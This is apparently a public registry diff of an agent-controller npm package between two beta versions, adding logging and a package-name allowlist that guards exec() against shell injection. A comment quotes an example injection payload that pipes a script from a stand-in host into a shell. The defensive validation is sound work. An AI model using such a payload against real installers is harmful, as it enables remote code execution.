@openclaw-cloud/agent-controller 1.0.0-beta.2 → 1.0.0-beta.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/agent-controller.js +11 -2
- package/dist/api.d.ts +4 -0
- package/dist/api.js +10 -2
- package/dist/api.js.map +1 -1
- package/dist/commands/bootstrap.js +9 -34
- package/dist/commands/bootstrap.js.map +1 -1
- package/dist/commands/channel-server.d.ts +17 -0
- package/dist/commands/channel-server.js +71 -0
- package/dist/commands/channel-server.js.map +1 -0
- package/dist/commands/heartbeat-cli.js +5 -4
- package/dist/commands/heartbeat-cli.js.map +1 -1
- package/dist/commands/install-deps.js +18 -8
- package/dist/commands/install-deps.js.map +1 -1
- package/dist/commands/install.js +8 -8
- package/dist/commands/install.js.map +1 -1
- package/dist/commands/self-update.js +2 -1
- package/dist/commands/self-update.js.map +1 -1
- package/dist/config-file.js +20 -4
- package/dist/config-file.js.map +1 -1
- package/dist/config.d.ts +39 -0
- package/dist/config.js +101 -0
- package/dist/config.js.map +1 -0
- package/dist/connection.d.ts +2 -0
- package/dist/connection.js +38 -7
- package/dist/connection.js.map +1 -1
- package/dist/debug.js +2 -1
- package/dist/debug.js.map +1 -1
- package/dist/handlers/backup.js +4 -1
- package/dist/handlers/backup.js.map +1 -1
- package/dist/handlers/board-handler.d.ts +4 -0
- package/dist/handlers/board-handler.js +127 -100
- package/dist/handlers/board-handler.js.map +1 -1
- package/dist/handlers/chat.d.ts +17 -0
- package/dist/handlers/chat.js +187 -6
- package/dist/handlers/chat.js.map +1 -1
- package/dist/handlers/deploy.js +16 -29
- package/dist/handlers/deploy.js.map +1 -1
- package/dist/handlers/diagnostics.js +12 -0
- package/dist/handlers/diagnostics.js.map +1 -1
- package/dist/handlers/knowledge-sync.js +21 -1
- package/dist/handlers/knowledge-sync.js.map +1 -1
- package/dist/handlers/memory.d.ts +13 -0
- package/dist/handlers/memory.js +128 -0
- package/dist/handlers/memory.js.map +1 -0
- package/dist/handlers/onboarding.js +18 -2
- package/dist/handlers/onboarding.js.map +1 -1
- package/dist/handlers/package-install.js +44 -12
- package/dist/handlers/package-install.js.map +1 -1
- package/dist/handlers/pair.js +14 -1
- package/dist/handlers/pair.js.map +1 -1
- package/dist/handlers/restart.js +3 -1
- package/dist/handlers/restart.js.map +1 -1
- package/dist/handlers/self-update.js +3 -1
- package/dist/handlers/self-update.js.map +1 -1
- package/dist/handlers/stop.js +7 -0
- package/dist/handlers/stop.js.map +1 -1
- package/dist/handlers/telegram-webhook.js +23 -0
- package/dist/handlers/telegram-webhook.js.map +1 -1
- package/dist/handlers/update-config.js +8 -2
- package/dist/handlers/update-config.js.map +1 -1
- package/dist/heartbeat.d.ts +7 -0
- package/dist/heartbeat.js +15 -65
- package/dist/heartbeat.js.map +1 -1
- package/dist/index.d.ts +1 -1
- package/dist/index.js +140 -29
- package/dist/index.js.map +1 -1
- package/dist/mcp-client.js.map +1 -1
- package/dist/memory-mcp-server.d.ts +8 -0
- package/dist/memory-mcp-server.js +291 -0
- package/dist/memory-mcp-server.js.map +1 -0
- package/dist/platform/linux.js +7 -3
- package/dist/platform/linux.js.map +1 -1
- package/dist/platform/macos.js +4 -2
- package/dist/platform/macos.js.map +1 -1
- package/dist/platform/windows.js +4 -2
- package/dist/platform/windows.js.map +1 -1
- package/dist/providers/claude-code/channel-server.d.ts +60 -0
- package/dist/providers/claude-code/channel-server.js +155 -0
- package/dist/providers/claude-code/channel-server.js.map +1 -0
- package/dist/providers/claude-code/index.d.ts +68 -0
- package/dist/providers/claude-code/index.js +280 -0
- package/dist/providers/claude-code/index.js.map +1 -0
- package/dist/providers/claude-code/login-flow.d.ts +26 -0
- package/dist/providers/claude-code/login-flow.js +135 -0
- package/dist/providers/claude-code/login-flow.js.map +1 -0
- package/dist/providers/claude-code/settings-writer.d.ts +29 -0
- package/dist/providers/claude-code/settings-writer.js +94 -0
- package/dist/providers/claude-code/settings-writer.js.map +1 -0
- package/dist/providers/claude-code/socket-bridge.d.ts +98 -0
- package/dist/providers/claude-code/socket-bridge.js +301 -0
- package/dist/providers/claude-code/socket-bridge.js.map +1 -0
- package/dist/providers/claude-code/spawn-claude.d.ts +48 -0
- package/dist/providers/claude-code/spawn-claude.js +108 -0
- package/dist/providers/claude-code/spawn-claude.js.map +1 -0
- package/dist/providers/index.d.ts +4 -2
- package/dist/providers/index.js +16 -0
- package/dist/providers/index.js.map +1 -1
- package/dist/providers/mock/index.js.map +1 -1
- package/dist/providers/openclaw/device-identity.js +2 -2
- package/dist/providers/openclaw/device-identity.js.map +1 -1
- package/dist/providers/openclaw/gateway-adapter.js +19 -8
- package/dist/providers/openclaw/gateway-adapter.js.map +1 -1
- package/dist/providers/openclaw/gateway-client.js +9 -3
- package/dist/providers/openclaw/gateway-client.js.map +1 -1
- package/dist/providers/openclaw/index.js +14 -3
- package/dist/providers/openclaw/index.js.map +1 -1
- package/dist/types.d.ts +1 -1
- package/dist/utils/agent-controller-bin.d.ts +8 -0
- package/dist/utils/agent-controller-bin.js +58 -0
- package/dist/utils/agent-controller-bin.js.map +1 -0
- package/dist/utils/anthropic-auth.d.ts +25 -0
- package/dist/utils/anthropic-auth.js +13 -0
- package/dist/utils/anthropic-auth.js.map +1 -0
- package/dist/utils/apply-config.d.ts +28 -0
- package/dist/utils/apply-config.js +234 -4
- package/dist/utils/apply-config.js.map +1 -1
- package/dist/utils/claude-env.js +20 -9
- package/dist/utils/claude-env.js.map +1 -1
- package/dist/utils/config-merge-paths.d.ts +21 -0
- package/dist/utils/config-merge-paths.js +27 -0
- package/dist/utils/config-merge-paths.js.map +1 -0
- package/dist/utils/env.js +2 -1
- package/dist/utils/env.js.map +1 -1
- package/dist/utils/knowledge-graph.d.ts +66 -0
- package/dist/utils/knowledge-graph.js +163 -0
- package/dist/utils/knowledge-graph.js.map +1 -0
- package/dist/utils/release-channel.js +2 -4
- package/dist/utils/release-channel.js.map +1 -1
- package/dist/utils/write-workspace-files.d.ts +15 -0
- package/dist/utils/write-workspace-files.js +48 -0
- package/dist/utils/write-workspace-files.js.map +1 -0
- package/dist/workspace.js +4 -5
- package/dist/workspace.js.map +1 -1
- package/package.json +24 -3
|
@@ -2,6 +2,19 @@ import { exec } from 'node:child_process';
|
|
|
2
2
|
import { toErrorMessage } from '../utils/response.js';
|
|
3
3
|
import { logCollector } from '../connection.js';
|
|
4
4
|
const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
|
|
5
|
+
/**
|
|
6
|
+
* Only allow characters that are valid in real package names on apt/npm/pip.
|
|
7
|
+
* This intentionally rejects shell metacharacters (;, |, &, $, `, (, ), <, >, space, …)
|
|
8
|
+
* so that a malicious payload like "foo; curl evil.com | sh" is rejected before
|
|
9
|
+
* it can ever reach the shell.
|
|
10
|
+
*
|
|
11
|
+
* Allowed: letters, digits, @, ., _, /, -, +, :, % (covers npm scopes, semver
|
|
12
|
+
* ranges like "pkg@^1.2", apt epoch prefixes like "2:pkg", pip extras "pkg[extra]")
|
|
13
|
+
*/
|
|
14
|
+
const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
|
|
15
|
+
function isSafePackageName(name) {
|
|
16
|
+
return SAFE_PACKAGE_NAME_RE.test(name);
|
|
17
|
+
}
|
|
5
18
|
function execPackage(cmd, timeoutMs) {
|
|
6
19
|
return new Promise((resolve, reject) => {
|
|
7
20
|
exec(cmd, { timeout: timeoutMs }, (error) => {
|
|
@@ -25,11 +38,21 @@ export async function handlePackageInstall(command) {
|
|
|
25
38
|
data: { installed: { apt: [], npm: [], pip: [] }, errors: [] },
|
|
26
39
|
};
|
|
27
40
|
}
|
|
28
|
-
|
|
41
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
42
|
+
commandId: command.id,
|
|
43
|
+
npm: npm.length ? npm : undefined,
|
|
44
|
+
pip: pip.length ? pip : undefined,
|
|
45
|
+
apt: apt.length ? apt : undefined,
|
|
46
|
+
});
|
|
29
47
|
const installed = { apt: [], npm: [], pip: [] };
|
|
30
48
|
const errors = [];
|
|
31
49
|
const deadline = Date.now() + INSTALL_TIMEOUT_MS;
|
|
32
50
|
async function tryInstall(pkg, cmd, type) {
|
|
51
|
+
// Reject package names containing shell metacharacters before they reach exec().
|
|
52
|
+
if (!isSafePackageName(pkg)) {
|
|
53
|
+
errors.push({ name: pkg, error: 'Invalid package name: contains disallowed characters' });
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
33
56
|
const remaining = deadline - Date.now();
|
|
34
57
|
if (remaining <= 0) {
|
|
35
58
|
errors.push({ name: pkg, error: 'Install timeout exceeded' });
|
|
@@ -49,28 +72,37 @@ export async function handlePackageInstall(command) {
|
|
|
49
72
|
}
|
|
50
73
|
// npm and pip: parallel within each type — independent registries, no global lock
|
|
51
74
|
await Promise.all(npm.map(async (pkg) => {
|
|
52
|
-
|
|
75
|
+
logCollector?.push('package_install_step', 'info', `npm install -g ${pkg}`, {
|
|
76
|
+
commandId: command.id,
|
|
77
|
+
manager: 'npm',
|
|
78
|
+
package: pkg,
|
|
79
|
+
});
|
|
53
80
|
const prevErrors = errors.length;
|
|
54
81
|
await tryInstall(pkg, `npm install -g ${pkg}`, 'npm');
|
|
55
82
|
if (errors.length > prevErrors) {
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
83
|
+
logCollector?.push('package_install_step', 'error', `npm: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
84
|
+
commandId: command.id,
|
|
85
|
+
manager: 'npm',
|
|
86
|
+
package: pkg,
|
|
87
|
+
});
|
|
60
88
|
}
|
|
61
89
|
}));
|
|
62
90
|
await Promise.all(pip.map(async (pkg) => {
|
|
63
|
-
|
|
91
|
+
logCollector?.push('package_install_step', 'info', `pip install ${pkg}`, {
|
|
92
|
+
commandId: command.id,
|
|
93
|
+
manager: 'pip',
|
|
94
|
+
package: pkg,
|
|
95
|
+
});
|
|
64
96
|
const prevErrors = errors.length;
|
|
65
97
|
await tryInstall(pkg, `pip install ${pkg}`, 'pip');
|
|
66
98
|
if (errors.length > prevErrors) {
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
99
|
+
logCollector?.push('package_install_step', 'error', `pip: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
100
|
+
commandId: command.id,
|
|
101
|
+
manager: 'pip',
|
|
102
|
+
package: pkg,
|
|
103
|
+
});
|
|
71
104
|
}
|
|
72
105
|
}));
|
|
73
|
-
console.log(`[package_install] done: ${installed.npm.length + installed.apt.length + installed.pip.length} installed, ${errors.length} errors`);
|
|
74
106
|
logCollector?.push('package_install', errors.length ? 'warn' : 'info', `Packages installed: ${installed.npm.length + installed.apt.length + installed.pip.length}, errors: ${errors.length}`, { installed, errorCount: errors.length });
|
|
75
107
|
return {
|
|
76
108
|
id: command.id,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAEtD,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,oBAAoB,CAAC,OAAqB;IAC9D,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,
|
|
1
|
+
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"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"}
|
package/dist/handlers/pair.js
CHANGED
|
@@ -1,10 +1,18 @@
|
|
|
1
|
+
import { logCollector } from '../connection.js';
|
|
2
|
+
import { config } from '../config.js';
|
|
1
3
|
// STRUCT-3: This handler is intentionally a stub. The backend validates the pairing
|
|
2
4
|
// token server-side; agent-controller only echoes back the identifiers as confirmation.
|
|
3
5
|
// No local pairing operation is performed here.
|
|
4
6
|
export function handlePair(command) {
|
|
7
|
+
const startMs = Date.now();
|
|
8
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
9
|
+
commandId: command.id,
|
|
10
|
+
});
|
|
5
11
|
const pairToken = command.payload.token;
|
|
6
12
|
const targetId = command.payload.targetId;
|
|
7
13
|
if (!pairToken || !targetId) {
|
|
14
|
+
const durationMs = Date.now() - startMs;
|
|
15
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Missing "token" or "targetId" in payload`, { commandId: command.id, durationMs });
|
|
8
16
|
return Promise.resolve({
|
|
9
17
|
id: command.id,
|
|
10
18
|
type: 'pair',
|
|
@@ -12,6 +20,11 @@ export function handlePair(command) {
|
|
|
12
20
|
error: 'Missing "token" or "targetId" in payload',
|
|
13
21
|
});
|
|
14
22
|
}
|
|
23
|
+
const durationMs = Date.now() - startMs;
|
|
24
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
25
|
+
commandId: command.id,
|
|
26
|
+
durationMs,
|
|
27
|
+
});
|
|
15
28
|
return Promise.resolve({
|
|
16
29
|
id: command.id,
|
|
17
30
|
type: 'pair',
|
|
@@ -19,7 +32,7 @@ export function handlePair(command) {
|
|
|
19
32
|
data: {
|
|
20
33
|
paired: true,
|
|
21
34
|
targetId,
|
|
22
|
-
agentId:
|
|
35
|
+
agentId: config.agentId,
|
|
23
36
|
},
|
|
24
37
|
});
|
|
25
38
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"pair.js","sourceRoot":"","sources":["../../src/handlers/pair.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"pair.js","sourceRoot":"","sources":["../../src/handlers/pair.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAEtC,oFAAoF;AACpF,wFAAwF;AACxF,gDAAgD;AAChD,MAAM,UAAU,UAAU,CAAC,OAAqB;IAC9C,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,SAAS,GAAG,OAAO,CAAC,OAAO,CAAC,KAAe,CAAC;IAClD,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,QAAkB,CAAC;IAEpD,IAAI,CAAC,SAAS,IAAI,CAAC,QAAQ,EAAE,CAAC;QAC5B,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,mDAAmD,EAClE,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO,OAAO,CAAC,OAAO,CAAC;YACrB,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,MAAM;YACZ,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,0CAA0C;SAClD,CAAC,CAAC;IACL,CAAC;IAED,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO,OAAO,CAAC,OAAO,CAAC;QACrB,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,MAAM;QACZ,OAAO,EAAE,IAAI;QACb,IAAI,EAAE;YACJ,MAAM,EAAE,IAAI;YACZ,QAAQ;YACR,OAAO,EAAE,MAAM,CAAC,OAAO;SACxB;KACF,CAAC,CAAC;AACL,CAAC"}
|
package/dist/handlers/restart.js
CHANGED
|
@@ -1,7 +1,9 @@
|
|
|
1
1
|
import { handleGatewayRestartCommand } from '../utils/gateway-restart-handler.js';
|
|
2
2
|
import { logCollector } from '../connection.js';
|
|
3
3
|
export async function handleRestart(command) {
|
|
4
|
-
logCollector?.push('gateway_restart', 'info', 'Gateway restart requested', {
|
|
4
|
+
logCollector?.push('gateway_restart', 'info', 'Gateway restart requested', {
|
|
5
|
+
commandId: command.id,
|
|
6
|
+
});
|
|
5
7
|
return handleGatewayRestartCommand(command);
|
|
6
8
|
}
|
|
7
9
|
//# sourceMappingURL=restart.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"restart.js","sourceRoot":"","sources":["../../src/handlers/restart.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,aAAa,CAAC,OAAqB;IACvD,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,MAAM,EAAE,2BAA2B,EAAE,
|
|
1
|
+
{"version":3,"file":"restart.js","sourceRoot":"","sources":["../../src/handlers/restart.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,aAAa,CAAC,OAAqB;IACvD,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,MAAM,EAAE,2BAA2B,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,OAAO,2BAA2B,CAAC,OAAO,CAAC,CAAC;AAC9C,CAAC"}
|
|
@@ -4,7 +4,9 @@ import { logCollector } from '../connection.js';
|
|
|
4
4
|
export function handleSelfUpdate(version) {
|
|
5
5
|
return async (cmd) => {
|
|
6
6
|
try {
|
|
7
|
-
logCollector?.push('self_update', 'info', `Self-update requested (current: ${version})`, {
|
|
7
|
+
logCollector?.push('self_update', 'info', `Self-update requested (current: ${version})`, {
|
|
8
|
+
currentVersion: version,
|
|
9
|
+
});
|
|
8
10
|
await selfUpdate(version);
|
|
9
11
|
return { id: cmd.id, type: cmd.type, success: true, data: {} };
|
|
10
12
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"self-update.js","sourceRoot":"","sources":["../../src/handlers/self-update.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,UAAU,EAAE,MAAM,4BAA4B,CAAC;AACxD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,OAAO,KAAK,EAAE,GAAiB,EAA0B,EAAE;QACzD,IAAI,CAAC;YACH,YAAY,EAAE,IAAI,CAAC,aAAa,EAAE,MAAM,EAAE,mCAAmC,OAAO,GAAG,EAAE,
|
|
1
|
+
{"version":3,"file":"self-update.js","sourceRoot":"","sources":["../../src/handlers/self-update.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,UAAU,EAAE,MAAM,4BAA4B,CAAC;AACxD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,OAAO,KAAK,EAAE,GAAiB,EAA0B,EAAE;QACzD,IAAI,CAAC;YACH,YAAY,EAAE,IAAI,CAAC,aAAa,EAAE,MAAM,EAAE,mCAAmC,OAAO,GAAG,EAAE;gBACvF,cAAc,EAAE,OAAO;aACxB,CAAC,CAAC;YACH,MAAM,UAAU,CAAC,OAAO,CAAC,CAAC;YAC1B,OAAO,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,EAAE,EAAE,CAAC;QACjE,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,OAAO,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,EAAE,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;QACpF,CAAC;IACH,CAAC,CAAC;AACJ,CAAC"}
|
